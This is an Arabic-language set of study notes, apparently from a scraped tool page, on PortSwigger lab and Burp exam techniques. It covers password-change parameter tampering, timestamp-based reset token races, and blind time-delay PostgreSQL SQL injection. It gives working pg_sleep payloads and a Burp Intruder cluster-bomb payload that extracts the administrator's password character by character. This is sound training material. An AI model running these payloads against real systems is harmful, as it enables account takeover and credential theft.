في مختبرات PortSwigger يتم تزويدك ببيانات اعتماد wiener:peter، وهذا يحاكي في المرحلة 1 من الاختبار تحقيق وصول مستخدم منخفض المستوى. وفي الاختبار، تُعد ثغرة إعادة تعيين كلمة المرور هذه مثالًا على كيفية تصعيد وصولك إلى مستوى المشرف دون تفاعل من مستخدم نشط.

اعترض طلب /my-account/change-password حيث أن رمز csrf هو قيمة عشوائية تُستخدم مرة واحدة، واضبط username=administrator وأزل معامل current-password.

تغيير كلمة المرور بدون الحالية

مختبر PortSwigger: عزل ضعيف على نقطة نهاية مزدوجة الاستخدام

رموز كلمة المرور الحساسة للوقت

يستخدم الموقع المستهدف طوابع زمنية لتوليد عنوان URL لرمز إعادة تعيين كلمة المرور بشكل مُجزّأ (hash).

من خلال إرسال طلبات إعادة تعيين كلمة المرور القسرية بالتوازي لمستخدمين مختلفين في الوقت نفسه،
سينتج عن ذلك رموز متطابقة مكررة لأن الواجهة الخلفية تستخدم الطابع الزمني نفسه لتوليد رموز إعادة التعيين.

يتلقى المستخدم الخاص بنا carlos عنوان URL لرمز إعادة التعيين في بريده الإلكتروني، ثم يعدّل الاسم في العنوان ليطابق المستخدم الضحية المستهدف administrator.

portswigger_race_condition_force-forgot-password-tokenz.png

مختبر PortSwigger: استغلال الثغرات الحساسة للوقت

المرجع: ملاحظات دراسية من API University ومختبرات PortSwigger


حقن SQL

التأخير الزمني الأعمى
حقن SQL الأعمى
حقن SQL الأعمى بدون مؤشرات
حقن SQL الأعمى بالاستجابة الشرطية
Oracle
SQLMAP
حقن SQL اليدوي لغير Oracle
حقن SQL المرئي القائم على الأخطاء
أساسيات حقن SQL من HackTheBox CPTS

ثغرات حقن SQL القائمة على الأخطاء أو العمياء تسمح باستخدام استعلامات SQL في التطبيق لاستخراج البيانات أو بيانات اعتماد تسجيل الدخول من قاعدة البيانات. ويُستخدم SQLMAP لتسريع الاستغلال واسترجاع المعلومات الحساسة.

حدد وجود SQLi بإضافة علامة اقتباس مزدوجة (") أو مفردة (') إلى معاملات الويب أو ملفات تعريف الارتباط الخاصة بالتتبع. إذا كسر ذلك صيغة SQL وأدى إلى استجابة برسالة خطأ، فقد تم تحديد حقن SQL إيجابي. وإذا لم تُلاحظ أي رسالة خطأ أو استجابة شرطية، فاختبر حمولات التأخير الزمني الأعمى.

أمثلة من ورقة الغش لحقن SQL

تحديد معامل الإدخال المعرّض لحقن SQL

التأخير الزمني الأعمى

إن حقن SQL الأعمى مع التأخير الزمني أمر صعب تحديده، حيث تتضمن عملية Fuzzing تخمينًا مدروسًا كما علمتني OffSec أيضًا في OSCP. ستنفّذ الحمولة أدناه حالة شرطية لتأخير الاستجابة بمقدار 10 ثوانٍ إذا تم تحديد حقن SQL إيجابي.

حدد ثغرة SQLi. في اختبار Burp التجريبي - المرحلة 2 تكون عوامل تصفية البحث المتقدم معرّضة لحقن PostgreSQL. وجدت أن SQLMAP من الصعب استخدامه لتحديد واستغلال ثغرة الاختبار التجريبي في البحث المتقدم. الاستغلال اليدوي لتأخير وقت حقن SQL موضح في الاختبار التجريبي هنا.```SQL ;SELECT CASE WHEN (1=1) THEN pg_sleep(7) ELSE pg_sleep(0) END--

root@kitploit:~
>[مُرمَّز بعنوان URL](https://www.urlencoder.org/) حمولة `PostgreSQL`.```SQL
'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(7)+ELSE+pg_sleep(0)+END--

حدد عدد الأحرف الموجودة في كلمة مرور مستخدم المسؤول. للقيام بذلك، قم بزيادة الرقم بعد الفحص الشرطي >1.```SQL ;SELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

root@kitploit:~
![blind-time-delay SQLi](https://assets.kitploit.com/production/public/readmes/51008/46c985b647369721299240587ce419b7890ff46abab191040b0da91187e69a6a/833ff096083057dc0b8241e6be68f3488ffbe38ce167d619967c277e987e9123-display-v1.webp)  

>باستخدام هجوم CLUSTER Bomb لإعادة تشغيل الهجوم لكل تباديل مواضع الأحرف في كلمة المرور، ولتحديد قيمة الحرف.```SQL
;SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

باستخدام نوع هجوم القنبلة العنقودية CLUSTER bomb مع حمولتين، الأولى لطول كلمة المرور 1..20 والثانية باستخدام الأحرف a..z والأرقام 0..9. أضف عمود الاستجابة المستلمة إلى نتائج هجوم Intruder للفرز بناءً عليه ولاحظ التأخير البالغ 10 ثوانٍ أو أكثر كاستجابة إيجابية.

حقن SQL أعمى باستخدام CLUSTER bomb

مختبر PortSwigger: حقن SQL أعمى مع تأخيرات زمنية واسترجاع المعلومات


Read more

تنزيل الأداة